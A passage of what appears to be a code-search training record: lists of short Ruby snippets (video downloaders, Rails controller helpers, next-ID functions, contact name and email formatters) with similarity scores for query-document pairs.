"def download_all_videos_from_pl id,d_name\n\tmy_directory = \"#{@dir}#{d_name}\"\n\n\t videos_already_saved_array = get_all_titles_from_dir my_directory\n\n\t videos_already_saved_titles, videos_already_saved_paths = \n\t \t\t\t\t\tvideos_already_saved_array.map{|e| e[0]}, videos_already_saved_array.map{|e| e[2]}\n\n\t@current_playlist_video_titles.each do |v|\n\t\t\tsource = 'youtube'\n\t\t\tindex = @current_playlist_video_titles.index(v)\n\t\t\tp index\n\t\t\tvid = @current_playlist_video_ids[index]\n\t\t\tp vid\n\n\t\tif !videos_already_saved_titles.include?(v)\t\n\t\t\t\n\t\t\tvideo_string = \"http://www.youtube.com/watch?v=#{vid}\"\n\t\t\tdownload_video = \"viddl-rb #{video_string} -d 'aria2c' -s '#{my_directory}'\"\n\n\t\t\tcaptured_stdout = ''\n\t\t\tcaptured_stderr = ''\n\t\t\tstdin, stdout, stderr, wait_thr = Open3.popen3(\"#{download_video}\")\n\t\t\tpid = wait_thr.pid\n\t\t\tstdin.close\n\t\t\tcaptured_stdout = stdout.gets(nil)\n\t\t\taborted = captured_stdout.include? \"Download aborted\"\n \t\t\t# captured_stderr = stderr.read\n\t\t\twait_thr.value # Process::Status object returned\n\n\t# extract the info we need\n\t\t\tputs \"STDOUT: \" + captured_stdout\n\t\t\t# puts \"STDERR: \" + captured_stderr\n\n\t\t\t# go to Vimeo to download if it doesnt work\n\t\t\tif aborted\n\t\t\t\tartist_match_results = match_best v, @rule_artists\n\t\t\t\t@song_artist = artist_match_results[0]\n\t\t\t\tremaining_words = artist_match_results[1]\n\t\t\t\tsong_match_results = match_best remaining_words, @rule_titles\n\t\t\t\t@song_title = song_match_results[0]\n\n\t\t\t\tsource='vimeo'\n\t\t\t\tget_vimeo_manually @song_artist,@song_title,@mydir,\"vimeo\"\n\t\t\t\t# Process.kill(\"KILL\", stream.pid)\n\t\t\t\t# get_vimeo_manually v,my_directory,source \n\t\t\tend\n\n\t\t\tp \"already have it\" if videos_already_saved_titles.include?(v)\n\t\tend\n\n\n\tend\n\n\t\nend",
"def set_video\n @video = Video.find(params[:id])\n\n end",
"def set_video\n \n @video = Video.find(params[:id])\n \n end",
"def show\n @videos = Video.all\n @video = @videos.find params[:id]\n end",
"def fetch_video_o_url(id:)\n require 'typhoeus'\n auth_url = 'https://www.flickr.com/video_download.gne?id=' + id\n dl_url = nil\n request = Typhoeus::Request.new(auth_url, headers: {Cookie: @config['cookie']})\n request.on_complete do |response|\n dl_url = response.headers['location']\n end\n request.run\n return dl_url\n end",
"def play\n @video_id = params[:id]\n begin\n @video = get_video(@video_id)\n @page_title = @video['title']\n render_template\n rescue\n redirect_to \"http://youtube.com/watch?v=#{@video_id}\", status: :moved_permanently and return false\n end\n end",
"def video_by(vid)\n video_id = vid =~ /^http/ ? vid : \"http://gdata.youtube.com/feeds/api/videos/#{vid}\"\n parser = YouTubeG::Parser::VideoFeedParser.new(video_id)\n parser.parse \n end",
"def read_next_id\n id = nil\n list = current_list\n\n if @co_index <= list.size\n id = list[@co_index - 1][:id]\n end\n\n @co_index += 1\n\n id\n end",
"def next_player\n @current_player_index += 1\n @current_player_index %= 2\n end",
"def next\n versionable.versions.next_version( self.number )\n end",
"def get_next_channel_id; end",
"def _next_id\n @@id -= 1\n @@id\n end",
"def next_page_with_page_id\n if self.next_page_id.nil?\n Page.where(:survey_version_id => self.survey_version).find_by_page_number(self.page_number + 1)\n else\n next_page_without_page_id\n end\n end",
"def do_next\n do_command('requests/status.json?command=pl_next')\n return currently_playing\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def get_current_video\n\t\t@current_video ||= if params[:video_id].present?\n\t\t\tVideo.find(params[:video_id])\n\t\tend\n\tend",
"def next\n params[:topic] ||= ''\n @flash_cards = FlashCard.find(\n :all,\n :conditions => [\"lower(topic) = ?\", params[:topic].downcase],\n :order => :id\n )\n found = false\n @flash_card = @flash_cards.detect do |item|\n if found\n next true \n elsif item.id.to_s == params[:id] \n found = true\n end\n false \n end || @flash_cards.first\n\n respond_to do |format|\n format.json { render :json => @flash_card }\n end\n end",
"def videoId\n #@video_data['items']['id']['videoId']\n videoId_ary = []\n @video_data['items'].each do |item|\n videoId_ary << item['id']['videoId']\n end\n # @video_data['items']['id']['kind']\n videoId_ary\n end",
"def next_id(items)\n max_id = items.map { |item| item[:id] }.max || 0\n max_id + 1\nend",
"def next_id\n @imutex.synchronize do\n @mid += 1\n end\n end",
"def next(name = nil)\n elements = page.elements.published.where(Element.arel_table[:position].gt(position))\n elements = elements.named(name) if name.present?\n elements.reorder(\"position ASC\").limit(1).first\n end",
"def get_video_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MediaVideosApi.get_video ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling MediaVideosApi.get_video\"\n end\n # resource path\n local_var_path = \"/media/videos/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'VideoResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MediaVideosApi#get_video\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def next\r\n\r\n SavedReport.first(:order => 'saved_reports.id', :conditions => [\"saved_reports.id > ?\", self.id])\r\n end",
"def player_by_id(id)\n response = Faraday.get(\"#{URL}/#{id}\")\n data = JSON.parse(response.body)\n new(data[KEY][0]) if data[KEY]\n end",
"def next_song(set_as_playing = false)\n @mode = :user\n \n play_id, filename, title, song_id = nil\n begin\n # this query will get a song which was cut off while playing first, and failing that, will get the next song on the queue which hasn't been played\n play_id, filename, title, song_id = db.get_first_row \"select id, filename, title, song_id from rubedo_plays where queued_at IS NOT NULL order by queued_at asc limit 1\"\n return nil unless play_id\n rescue\n log.error \"Error at some point during finding #{'(and setting) ' if set_as_playing}next song. Filename was: #{filename}\\n#{$!}\" if log\n return nil\n end\n\n mark_start!(play_id, song_id) if set_as_playing\n \n [play_id, filename, title]\n end"
] |
[
"0.69828856",
"0.69269556",
"0.6831194",
"0.6784713",
"0.6774003",
"0.66639847",
"0.6660575",
"0.65003794",
"0.6432579",
"0.63965386",
"0.6365845",
"0.62642115",
"0.622143",
"0.62100786",
"0.62015307",
"0.6150377",
"0.6130871",
"0.6088212",
"0.6073662",
"0.5991493",
"0.5965766",
"0.5961721",
"0.5958782",
"0.59471965",
"0.5886635",
"0.5853869",
"0.58461195",
"0.5805676",
"0.57943755",
"0.5784934",
"0.57474506",
"0.5736311",
"0.57087225",
"0.5702953",
"0.570025",
"0.56518924",
"0.5639129",
"0.563464",
"0.56329495",
"0.5631952",
"0.56318116",
"0.56209844",
"0.56157935",
"0.55964893",
"0.5586794",
"0.5567586",
"0.55655897",
"0.5565095",
"0.556274",
"0.5562046",
"0.5545294",
"0.5543724",
"0.5542514",
"0.55310756",
"0.5509307",
"0.55092525",
"0.55040747",
"0.54899776",
"0.5480842",
"0.5474696",
"0.54552245",
"0.5453289",
"0.5446603",
"0.5445469",
"0.5437645",
"0.54350585",
"0.54344565",
"0.5425622",
"0.54252297",
"0.5423142",
"0.5423014",
"0.5419205",
"0.54188496",
"0.5408719",
"0.54070663",
"0.54065067",
"0.53993535",
"0.5388367",
"0.5384083",
"0.53831965",
"0.538281",
"0.5382211",
"0.5380014",
"0.53673893",
"0.5356692",
"0.53549045",
"0.5352498",
"0.53449047",
"0.53449047",
"0.53449047",
"0.53334266",
"0.5333322",
"0.53327495",
"0.5332625",
"0.53185457",
"0.5312469",
"0.5306768",
"0.52981365",
"0.5294496",
"0.52922773"
] |
0.803972
|
0
|
Method that define item is present or not ensure that there is no line items referencing this product
|
def ensure_not_referenced_by_any_line_item
if line_items.empty?
return true
else
errors.add(:base, 'Line Items present')
return false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Product sedang di referensikan oleh Line Item')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item \n if line_items.empty?\n return true \n else\n errors.add(:base, 'Line Items present')\n return false \n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.count.zero?\n return true\n else\n errors[:base] << \"Line Items present\" #这是什么意思\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.count.zero?\n return true\n else\n errors[:base] << \"Line Items present\"\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item \n\t\tif line_items.empty?\n\t\t\treturn true \n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item \n \tif line_items.empty?\n return true \n else\n errors.add(:base, 'Line Items present')\n return false \n end\n end",
"def ensure_not_referenced_by_any_line_item\n\t\t\tunless line_items.empty?\n\t\t\t\terrors.add(:base, 'Line items reference this product')\n\t\t\t\tthrow :abort\n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item \n if line_items.empty?\n return true \n else\n errors.add(:base, 'Line Items present')\n return false \n end\n end",
"def ensure_not_referenced_by_any_line_item \n if line_items.count.zero?\n return true\n else\n errors[:base] << \"Line Items present!\"\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true \n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false \n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.count.zero?\n\t\t\treturn true\n\t\telse\n\t\t\terrors[:base] << \"Line Items Prsent\"\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item # hook method (a method that Rails calls automatically at a given point in an object’s life)\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n \tif line_items.empty?\n \t\treturn true\n \telse\n \t\terrors.add(:base, 'Line Items Present')\n \t\treturn false\n \tend\n end",
"def ensure_not_referenced_by_any_line_item\n\tif line_items.empty?\n \t return true\n \telse\n \t errors.add(:base, 'Line Items present' )\n \treturn false\n \tend\n end",
"def ensure_not_referenced_by_any_line_item\n if line_item1s.count.zero?\n return true\n else\n errors[:base] << \"Line Items present\"\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Istnieja powiazania z Line Items')\n return false;\n end\n end",
"def ensure_not_referenced_by_any_item_line\n if item_lines.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\nend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.count.zero?\n\t\t\treturn true\n\t\telse\n\t\t\terrors[:base] << \"Line Items present\"\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item \n if line_items.empty?\n return true \n else\n errors.add(:base, 'Line Items present')\n return false \n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.count.zero?\n return true\n else\n errors[:base] << \"Line Items present\"\n return false\n end \n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.count.zero?\n return true\n else\n errors[:base] << \"Line Items present\"\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.count.zero?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present' )\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.count.zero?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present' )\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item \n if line_items.empty? \n return true \n else \n errors.add(:base, 'Line Items present') \n return false \n end \n end",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.count.zero?\n\t\t\treturn true\n\t\t\telse\n\t\t\terrors.add(:base, 'Line Items present' )\n\t\t\treturn false\n\t\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n\t return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item #in this case before destroy a row in the database\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Itens present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.emty?\n\t\t\treturn true\n\t\tesle\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.count.zero?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\tif line_items.empty?\n\treturn true\n\telse\n\terrors.add(:base, 'Line Items present')\n\treturn false\n\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.count.zero?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item_product\n unless line_item_products.empty?\n errors.add(:base, 'Line Items Products present')\n throw :abort\n end\n end",
"def ensure_not_referenced_by_any_line_items\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items Present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n\tif line_items.count.zero?\n\treturn true\n\telse\n\terrors[:base] << \"Line Items present\"\n\treturn false\n\tend\nend",
"def ensure_not_referenced_by_any_line_item\n\t if line_items.count.zero?\n\t\t return true\n\t else\n\t\t errors[:base] << \"Line Items present\"\n\t\t return false\n\t end\n\tend",
"def ensure_not_referenced_by_any_line_item\n \t\tif line_items.empty?\n \t\t\treturn true\n \t\telse\n \t\t\terrors.add(:base, 'Existe linha de item')\n\t\t \treturn false\n \t\tend\n \tend",
"def ensure_not_referenced_by_any_line_item\n unless line_items.empty?\n raise Error.new \"Line Items present\"\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.count.zero?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.count.zero?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.count.zero?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Existuju polozky')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base,'Line Items present') #We associate errors with the base object\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t return true\n\t \telse\n\t \t errors.add(:base, 'Line Items present')\n\t return false\n\t end\n end",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n \t if line_items.empty?\n \t \treturn true\n \t else\n \t \terrors.add(:base, 'Line items present')\n \t \treturn false\n \t end\n \tend",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end"
] |
[
"0.8178421",
"0.80856377",
"0.8071649",
"0.80705714",
"0.8060181",
"0.80565995",
"0.80502605",
"0.8048612",
"0.8034292",
"0.80205095",
"0.80174375",
"0.8017026",
"0.80118316",
"0.80104095",
"0.80079013",
"0.8002724",
"0.8000611",
"0.79978424",
"0.7992991",
"0.79922014",
"0.7982277",
"0.7975726",
"0.79750454",
"0.7974218",
"0.7973917",
"0.7965197",
"0.7963483",
"0.7963483",
"0.7963389",
"0.79604936",
"0.7960088",
"0.7959416",
"0.7958724",
"0.79545957",
"0.7951345",
"0.79513115",
"0.79513115",
"0.79513115",
"0.7950128",
"0.7943163",
"0.7942052",
"0.7934408",
"0.79324394",
"0.7929481",
"0.7928233",
"0.79281354",
"0.7926919",
"0.7926919",
"0.7926919",
"0.7926022",
"0.7924714",
"0.79239595",
"0.791759",
"0.791759",
"0.791759",
"0.791759",
"0.791759",
"0.791759",
"0.791759",
"0.7913932",
"0.7913932",
"0.7913932",
"0.7913932",
"0.7913932",
"0.7913932",
"0.7913932",
"0.79113925",
"0.7897503",
"0.7896911",
"0.7896792",
"0.7896792",
"0.7896792",
"0.7896792",
"0.7896792",
"0.7896792",
"0.7896792",
"0.7896792",
"0.7896792",
"0.7896792",
"0.7896792",
"0.7896792",
"0.7896792",
"0.7896792",
"0.7896792",
"0.7896792",
"0.7896792",
"0.7896792",
"0.7891895",
"0.7891895",
"0.7891895",
"0.7891895",
"0.7891895",
"0.7891895",
"0.7891895",
"0.7891895",
"0.7891895",
"0.7891895",
"0.7891895",
"0.7891895",
"0.7891895"
] |
0.79852164
|
20
|
A contact's name & email
|
def summary
"#{name} (#{email})"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def contact_name\n attributes[:contact] && attributes[:contact][:name]\n end",
"def contact_name\n contact['name']\n end",
"def contact_email\n contact['email_address']\n end",
"def formatted_email(contact)\n \"#{contact.username} <#{contact.email}>\"\n end",
"def contact_email\n self.contact[:contact_email]\n end",
"def name_and_email\r\n if email\r\n return \"#{self.entire_full_name} <#{self.email}>\"\r\n else\r\n return nil\r\n end\r\n end",
"def name_or_contact_info\n if name.blank?\n [email, phone].join(', ')\n else\n name\n end\n end",
"def name\n if self[:name].blank?\n (self[:email] || \"\").split('@')[0].split('.').map(&:capitalize).join(' ')\n else\n self[:name]\n end\n end",
"def contact_email\n return @contact_email\n end",
"def name\n if first_name && last_name\n return \"#{first_name} #{last_name}\"\n else\n return email\n end\n end",
"def name\n email\n end",
"def name\n email\n end",
"def name_and_email\n email_address = Notifier.unprettify(self.email)\n self.name.blank? ? email_address : \"\\\"#{self.name}\\\" <#{email_address}>\"\n end",
"def contact_info(name, company, email, telephone, message)\n\t\t@name = name\n\t\t@company = company\n \t@email = email\n \t@telephone = telephone\n \t@message = message\n mail(:to => \"cwmct79@gmail.com\",\n :subject => \"Oasis Books Contact Form Message\")\n end",
"def email\n if md = RE_EMAIL.match(contact.to_s)\n md[0]\n else\n nil\n end\n end",
"def display_one_contact(contact)\n if contact\n puts \"Name: #{contact.name}\"\n puts \"E-mail: #{contact.email}\"\n puts \"Phone Number: #{contact.phone_number}\"\n else\n puts \"Not found!\"\n end\n end",
"def display_one_contact\n contact = retrieve_contact_by_email\n end",
"def email_with_name\n \"#{full_name} <#{email.to_s}>\"\n end",
"def display_name\n email\n end",
"def email_with_name\n if email\n %Q{\"#{first} #{last}\" <#{email}>}\n end\n end",
"def contact_email\n @contact = Contact.last\n mail to: \"lauren@scholarhood.ca, kurtis.elliott@ratehub.ca\"\n end",
"def name\n\t\temail\n\tend",
"def association_contact_information\n contact = \"<a href='mailto: #{current_association.contact_email}'>#{current_association.contact_name.blank? ? current_association.name : current_association.contact_name}</a>\"\n \n contact += \" at #{current_association.formatted_contact_phone}\" unless current_association.contact_phone.blank?\n contact += \" ext. #{current_association.contact_phone_extension}\" unless current_association.contact_phone_extension.blank?\n \n return contact\n end",
"def email_with_name\n \"#{name} <#{email}>\"\n end",
"def email_with_name\n \"#{name} <#{email}>\"\n end",
"def email_with_name\n \"#{name} <#{email}>\"\n end",
"def get_attendee_name_from_email(attemail, companyid, matterid)\n attemail = attemail.chomp\n cnt = Contact.first(:conditions => {:company_id => companyid, :email => attemail})\n usr = User.first(:conditions => {:company_id => companyid, :email => attemail})\n if cnt or usr\n if cnt\n cnt.full_name\n else\n usr.full_name\n end\n end\n end",
"def name\n \temail.split('@')[0]\n end",
"def contact\r\n\t\t\"#{small_title(contact_titre.to_s)} #{contact_prenom.to_s} #{contact_nom.to_s}\".strip\t\t\r\n\tend",
"def contact\n response[\"contact\"]\n end",
"def name\n\t return self.email\n\tend",
"def name\n [first_name, last_name].compact.join(\" \").presence || email\n end",
"def contact_information(contact)\n @contact = contact\n\n mail to: \"chaitanyamalineni488@gmail.com\", subject: \"Contact Form\"\n end",
"def display_contacts(contacts)\n\n contacts.each do |display|\n puts \"First name: #{display.first_name} Last name: #{display.last_name} Email: #{display.email} Note: #{display.note}\"\n end\n end",
"def contact_details\n puts \"Contact name: #{self.contact_name}\"\n puts \"Phone number: #{self.phone}\"\n puts \"Email: #{self.email}\"\n end",
"def name\n name_str = \"#{first_name} #{last_name}\".strip\n if name_str.length < 1\n name_str = email\n end\n if name_str.length < 1\n name_str = \"Person utan namn (id #{id})\"\n end\n name_str\n end",
